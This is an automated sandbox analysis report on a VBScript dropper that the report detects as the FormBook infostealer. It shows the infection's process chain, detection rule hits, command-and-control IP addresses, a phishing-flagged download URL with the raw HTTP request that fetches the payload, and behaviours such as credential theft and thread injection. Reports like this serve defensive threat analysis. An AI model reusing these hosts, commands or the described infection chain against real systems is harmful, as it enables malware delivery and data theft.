Edit tour

Windows Analysis Report
ADtours0121025.Vbs.vbs

Overview

General Information

Sample name:	ADtours0121025.Vbs.vbs
Analysis ID:	1596084
MD5:	52ac13cf11fc0eefc8762ff3fb50e86d
SHA1:	5af73edd0fa7ffa62e1a0470f82be4f556ea99ef
SHA256:	9c98991058b5f02feb508caf188a61407716265b9f998d7eed1c9c137f6ad546
Tags:	vbsuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found direct / indirect Syscall (likely to bypass EDR)

Found suspicious powershell code related to unpacking or dynamic code loading

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Powershell drops PE file

Queues an APC in another process (thread injection)

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Script Initiated Connection

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4032 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6812 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

x.exe (PID: 6712 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 2C1BDC899ED7D3078E5498735EB1E917)

svchost.exe (PID: 3148 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

XG4tzkOqVF.exe (PID: 5760 cmdline: "C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\OhGqbzDwI4.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

sxstrace.exe (PID: 1240 cmdline: "C:\Windows\SysWOW64\sxstrace.exe" MD5: 209969CD31095C47FFB25959B10917F3)

XG4tzkOqVF.exe (PID: 2220 cmdline: "C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\88Sd4usX1OfX.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

firefox.exe (PID: 348 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2792972085.0000000004140000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.2790772261.0000000002480000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.2792864686.00000000040F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.1907342293.0000000008270000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.2793021859.0000000002880000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.1902206416.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.1901321615.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2794868753.0000000005170000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: powershell.exe PID: 6812	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x44f28e:$b1: ::WriteAllBytes( 0x44f2aa:$b2: ::FromBase64String( 0x116e87:$s1: -join 0x123f5c:$s1: -join 0x12732e:$s1: -join 0x1279e0:$s1: -join 0x1294d1:$s1: -join 0x12b6d7:$s1: -join 0x12befe:$s1: -join 0x12c76e:$s1: -join 0x12cea9:$s1: -join 0x12cedb:$s1: -join 0x12cf23:$s1: -join 0x12cf42:$s1: -join 0x12d792:$s1: -join 0x12d90e:$s1: -join 0x12d986:$s1: -join 0x12da19:$s1: -join 0x12dc7f:$s1: -join 0x12fe15:$s1: -join 0x13e85f:$s1: -join
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.svchost.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 92.205.22.61, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 4032, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs", ProcessId: 4032, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 92.205.22.61, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 4032, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\Temp\x.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 6712, ParentProcessName: x.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ProcessId: 3148, ProcessName: svchost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs", ProcessId: 4032, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1", ProcessId: 6812, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\AppData\Local\Temp\x.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 6712, ParentProcessName: x.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ProcessId: 3148, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) M5

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-21T16:46:18.469199+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49709	217.160.0.207	80	TCP
2025-01-21T16:46:43.609261+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49750	47.83.1.90	80	TCP
2025-01-21T16:46:57.802009+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49847	67.223.117.189	80	TCP
2025-01-21T16:47:11.407936+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49930	72.14.185.43	80	TCP
2025-01-21T16:47:24.763992+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49991	38.180.49.167	80	TCP
2025-01-21T16:47:38.570070+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49995	68.65.122.71	80	TCP

ET MALWARE Windows executable base64 encoded

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-21T16:45:28.226688+0100	2018856	1	A Network Trojan was detected	92.205.22.61	443	192.168.2.8	49704	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-21T16:46:35.213074+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49711	47.83.1.90	80	TCP
2025-01-21T16:46:37.105685+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49718	47.83.1.90	80	TCP
2025-01-21T16:46:40.306786+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49734	47.83.1.90	80	TCP
2025-01-21T16:46:50.199989+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49796	67.223.117.189	80	TCP
2025-01-21T16:46:52.706628+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49812	67.223.117.189	80	TCP
2025-01-21T16:46:55.250929+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49828	67.223.117.189	80	TCP
2025-01-21T16:47:03.779921+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49880	72.14.185.43	80	TCP
2025-01-21T16:47:06.359808+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49896	72.14.185.43	80	TCP
2025-01-21T16:47:08.875008+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49912	72.14.185.43	80	TCP
2025-01-21T16:47:17.097250+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49965	38.180.49.167	80	TCP
2025-01-21T16:47:19.660285+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49982	38.180.49.167	80	TCP
2025-01-21T16:47:22.268796+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49990	38.180.49.167	80	TCP
2025-01-21T16:47:30.815203+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49992	68.65.122.71	80	TCP
2025-01-21T16:47:33.026023+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49993	68.65.122.71	80	TCP
2025-01-21T16:47:36.024396+0100	2855464	1	A Network Trojan was detected	192.168.2.8	49994	68.65.122.71	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://www.atc-secure.com//	Avira URL Cloud: Label: phishing
Source: https://www.atc-secure.com/	Avira URL Cloud: Label: phishing
Source: https://www.atc-secure.com/SMG411m	Avira URL Cloud: Label: phishing
Source: https://www.atc-secure.com/SMG411	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

Avira: detection malicious, Label: DR/AutoIt.Gen8

Yara detected FormBook

Source: Yara match	File source: 6.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2792972085.0000000004140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2790772261.0000000002480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2792864686.00000000040F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1907342293.0000000008270000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2793021859.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1902206416.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1901321615.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2794868753.0000000005170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 92.205.22.61:443 -> 192.168.2.8:49704 version: TLS 1.2

Source:	Binary string: sxstrace.pdb source: svchost.exe, 00000006.00000003.1870509235.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1869911314.000000000341A000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000002.2792146522.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sxstrace.pdbGCTL source: svchost.exe, 00000006.00000003.1870509235.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1869911314.000000000341A000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000002.2792146522.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: x.exe, 00000005.00000003.1597519517.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000005.00000003.1593656042.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1901761142.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1806103739.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1804262972.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1901761142.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1903491517.00000000041AC000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.00000000044FE000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.0000000004360000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1901512105.0000000003FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: x.exe, 00000005.00000003.1597519517.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000005.00000003.1593656042.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000006.00000002.1901761142.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1806103739.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1804262972.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1901761142.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1903491517.00000000041AC000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.00000000044FE000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.0000000004360000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1901512105.0000000003FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: sxstrace.exe, 00000009.00000002.2795073064.000000000498C000.00000004.10000000.00040000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2791528045.0000000002653000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.0000000002D3C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.2198864528.00000000364CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: sxstrace.exe, 00000009.00000002.2795073064.000000000498C000.00000004.10000000.00040000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2791528045.0000000002653000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.0000000002D3C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.2198864528.00000000364CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XG4tzkOqVF.exe, 00000008.00000000.1822445409.00000000004BF000.00000002.00000001.01000000.00000009.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2790742701.00000000004BF000.00000002.00000001.01000000.00000009.sdmp

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002B60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	5_2_002B60DD
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002B63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	5_2_002B63F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002BEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_002BEB60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002B6CA9 GetFileAttributesW,FindFirstFileW,FindClose,	5_2_002B6CA9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002BF56F FindFirstFileW,FindClose,	5_2_002BF56F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002BF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_002BF5FA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_002C1B2F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_002C1C8A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_002C1F94

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49709 -> 217.160.0.207:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49711 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49718 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49796 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49734 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49812 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49750 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49847 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49828 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49880 -> 72.14.185.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49896 -> 72.14.185.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49912 -> 72.14.185.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49982 -> 38.180.49.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49992 -> 68.65.122.71:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49991 -> 38.180.49.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49993 -> 68.65.122.71:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49995 -> 68.65.122.71:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49994 -> 68.65.122.71:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49965 -> 38.180.49.167:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49990 -> 38.180.49.167:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49930 -> 72.14.185.43:80
Source: Network traffic	Suricata IDS: 2018856 - Severity 1 - ET MALWARE Windows executable base64 encoded : 92.205.22.61:443 -> 192.168.2.8:49704

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 92.205.22.61 443

Jump to behavior

Source: Joe Sandbox View	IP Address: 67.223.117.189 67.223.117.189
Source: Joe Sandbox View	IP Address: 47.83.1.90 47.83.1.90

Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002C4EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

5_2_002C4EB5

Source: global traffic	HTTP traffic detected: GET /SMG411 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.atc-secure.comConnection: Keep-Alive
